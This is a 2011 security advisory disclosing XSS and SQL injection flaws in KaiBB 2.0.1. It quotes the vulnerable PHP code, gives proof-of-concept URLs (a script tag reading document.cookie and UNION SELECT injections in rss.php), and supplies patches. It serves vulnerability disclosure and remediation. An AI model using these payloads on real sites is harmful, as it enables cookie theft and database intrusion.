SSCHADV2011-027 - KaiBB 2.0.1 XSS and SQL Injection vulnerabilities
| Advisory: | 
             KaiBB 2.0.1 XSS and SQL Injection vulnerabilities 
             | 
        
| Advisory ID: | 
             SSCHADV2011-027 
             | 
        
| Author: | 
             Stefan Schurtz 
             | 
        
| Affected Software: | Successfully tested on KaiBB 2.0.1 | 
| Vendor URL: | |
| Vendor Status: | informed | 
| CVE-ID: | - | 
======================
Vulnerability Description:
======================
KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities
Vulnerability Description:
======================
KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities
==============
Technical Details:
==============
Technical Details:
==============
# sql injection vul code in ‘kaibb/rss.php’
| 
             if ( isset($_GET[‘forum’])) 
            { $id = $secure->clean($_GET[‘forum’]); $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15"); } else { $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15"); }  | 
        
# inc/function.php
| 
             class secure { 
            function clean($content) { $content = mysql_real_escape_string(htmlspecialchars($content)); return $content; }  | 
        
# xss vul code in ‘inc/header.php’
==============
Exploit
==============
$session_location = $_SERVER[‘REQUEST_URI’];
==============
Exploit
==============
Cross-site Scripting
| http://<target>/kaibb/?’</script><script>alert(document.cookie)</script> http://<target>/kaibb/index.php?’</script><script>alert(document.cookie)</script>  | 
        
SQL Injection
| http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a  | 
        
=====
Solution:
=====
# solution for the sql injection
| 
             if ( isset($_GET[‘forum’])) 
            { $id = $secure->clean($_GET[‘forum’]); //$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15"); $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘". $id ."’ ORDER BY id DESC LIMIT 15"); } else { $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15"); }  | 
        
# solution for the xss vulnerability
| 
             //$session_location = $_SERVER[‘REQUEST_URI’]; 
            $session_location = $_SERVER[‘SCRIPT_NAME’]; or $session_location = htmlspecialchars($_SERVER[‘REQUEST_URI’],ENT_QUOTES);  | 
        
================
Disclosure Timeline:
================
08-Oct-2011 – informed developers
08-Oct-2011 – release date of this security advisory
09-Oct-2011 – post on BugTraq
====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2
        ====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2
Comments
Display comments as Linear | Threaded